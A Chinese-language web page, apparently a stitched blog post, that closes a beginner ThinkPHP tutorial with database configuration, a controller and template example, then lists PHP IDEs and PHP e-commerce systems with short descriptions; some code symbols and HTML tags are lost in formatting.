// 添加數據庫配置信息’DB_TYPE’=’mysql’,// 數據庫類型’DB_HOST’=’127.0.0.1′,// 服務器地址’DB_NAME’=’thinkphp’,// 數據庫名’DB_USER’=’root’,// 用戶名’DB_PWD’=”,// 密碼’DB_PORT’=3306,// 端口’DB_PREFIX’=’think_’,// 數據庫表前綴’DB_CHARSET’=’utf8′,// 數據庫字符集
接下來,我們修改下控制器方法,添加讀取數據的代碼:
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller{
public function index(){
$Data = M(‘Data’);// 實例化Data數據模型
$result = $Data-find(1);
$this-assign(‘result’,$result);
$this-display();
}
}
這裡用到了M函數,是ThinkPHP內置的實例化模型的方法,而且用M方法實例化模型不需要創建對應的模型類,你可以理解為M方法是直接在操作底層的Model類,而Model類具備基本的CURD操作方法。
M(‘Data’) 實例化後,就可以對think_data數據表(think_ 是我們在項目配置文件中定義的數據表前綴)進行操作(包括CURD)了,M函數的用法還有很多,我們以後會深入了解。
定義好控制器後,我們修改模板文件,添加數據輸出標籤如下:
htmlheadtitle/title/headbody{$result.id}–{$result.data}/body/html
模板標籤的用法和Smarty類似,就是用於輸出數據的字段,這裡就表示輸出think_data表的id和data字段的值。
我們訪問會輸出:
1–thinkphp
如果發生錯誤,檢查你是否開啟了調試模式或者清空Runtime目錄下面的緩存文件。
如果你看到了上面的輸出結果,那麼恭喜你已經拿到了入門ThinkPHP的鑰匙!
大家給推薦一個php開發工具 哦 !
PHP開發工具匯總
這裡個人推薦一些 PHP IDE 工具,非常見的 Editplus 之類的,都是專門為 PHP 開發的,個人感覺方便容易入手啊簡單操作,找出自己用得順手的就可以了,呵呵,自己最近再考慮試試嘗試下 Zend Studio 作為開發工具,因為調試和編寫都很方便,代碼檢測功能和手冊查閱功能,所以想試試 嘿嘿。
下面有提供些為PHP設計的IDE,editplus,Ultra Edit等常用文本工具我就不介紹了!其中一些介紹是從那些下載站里複製過來的!
Zend Studio
開發商:
目前公認的最強大的PHP開發工具,這種集成軟件包包括了用於編輯,調試,配置PHP程序所需要的客戶及服務器組件,軟件包具有工業標準的PHP開發環境,代碼完成引擎,功能齊全的調試器等
NuSphere PHPEd
PhpED 通過無與倫比的PHP調試和壓縮能力,以及一個新的NuSOAP web服務嚮導成為了PHP領域的領軍產品。更加強大的Project Manager使得發布站點和應用程序比以前更加容易。現在可以在線程級別對正在運行或者開發中的程序進行測試和調校。支持 CVS 版本控制,而且,對PostgreSQL和MySQL數據庫的本地支持為PHP使用開源數據庫提供了一個廣泛的環境。但對中文支持不太好,漢字都當作單字節處理了。PHPED還有Linux版本。
PHP Coder
PHPCoder用於快速開發和調試PHP應用程序,它很容易擴展和定製,完全能夠符合開發者的個性要求.1:結合了PHP編譯器和參考文檔,可以對編輯中的PHP腳本進行即時預覽2:支持高亮顯示HTML和PHP代碼;3:自動完成功能,可以自動完成用戶自定義代碼片斷;4:標準函數提示;5:有專門的工程項目管理器;6:對象瀏覽器搜尋編輯中文件的包含信息,自定義函數,並以樹形顯示.7:支持查找對稱的語句標記符;8:支持高級搜索和替換;9:自帶FTP功能;10:支持運行和斷點調試11:……總之,PHPCoder是一個非常實用的,功能強大的編程環境,而且它是免費的!
Ankord PHP Expert Editor
PHP Expert Editor是一個容易使用的 PHP 開發工具,它的功能照顧到初級者及專業開發人員。 PHP Expert Editor 內建 http server 用作測試及除錯(你也可以使用其他 http server), PHP 語法檢查, FTP 功能, 程式碼樣板等功能。
DzSoft PHP Editor
專為 PHP 所設計的網頁程序編輯軟件 – DzSoft PHP Editor,具有 PHP 編輯、偵錯、瀏覽、原始碼檢視、檔案瀏覽、可自訂的原始碼樣本..等功能,無須架設網站主機就可以測試 PHP 指令碼,是一套功能強大的 PHP 編程軟件。
DzSoft PHP Editor和Ankord PHP Expert Editor非常相識,幾乎找不到他們的主要區別,關於這兩個軟件之間的具體內幕我也不太清楚!
Dev-PHP IDE
非常好用的php編輯器,支持php-gtk,內建許多快速html表單,非常的好用,本身含繁體語言包,另附暗地論壇的中文語言包
Master PHP
一款支持PHP, PHP3, PHTML, CSS, JS, HTML, HTM and SQL的編輯器,它允許用戶編輯多種一次編輯多種文件,允許插入,運行和最優化程序的腳本,用戶可以通過工具欄定製按鈕和窗體,可以導出html和rtf格式,支持18種語言
Komodo
Komodo支持在Windows與Linux上,Perl、Python及JavaScript等的程序語言開發,以及多種程序語言語法不同顏色標註。這款功能強大的IDE竟然不支持中文,連中文文件名的文件都打不開!
Maguma Studio
Maguma Studio包含了編輯和調試 PHP 程序所有必須的工具。無論您是經驗豐富的開發者、或是初學者它都適合您。帶有十分完整的斷點、分步等調試功能。支持以樹形方式顯示文件中的函數和類成員。
PhpLens
PhpLens是一款專為PHP開發人員準備的快速數據庫開發程序。通過使用PhpLens,可以快速的設計、發布和維護數據庫驅動的網絡產品。它允許你以HTML表格的形式對數據庫進行瀏覽、編輯、創建、刪除和查找。不用寫任何代碼,它就允許你完成上述操作。
簡單推薦到此吧,有什麼好滴東西,大家都拿出來共享下咯,嘿嘿,上面的這些軟件都很強大,但我個人而言還是比較習慣用editplus。一方面自己水平不夠,這些軟件的很多功能都還不懂得如何充分利用,浪費丫,另一方面自己的英文太差,想靈活應用這些工具還有必要先提高下自己的E文啊 見笑啦,同時自己使用editplus的時間也比較常,比較順手吧 ^_^
php商城系統那個比較好?他們有什麼特點!
OpenCart
OpenCart是新一代基於PHP開發的開源在線購物車系統。OpenCart具有易於使用,功能豐富,搜索引擎友好和漂亮簡潔的操作界面等特點。
phpShop
phpShop是一個基於PHP的網上商店系統。phpShop雖然比其它網上購物系統簡單,而且功能少。但是它非常靈活可讓你按自己的個性化要求進行定製。
gshop
gshop商城系統也是基於PHP開發的商城系統,操作簡潔方便,後台界面漂亮美觀,支持千餘套個性模板,最主要是支持純靜態對於網站的優化很好,功能也很強大。是現在網上!新一代最熱門的商城系統之一!
原創文章,作者:小藍,如若轉載,請註明出處:https://www.506064.com/zh-hant/n/309440.html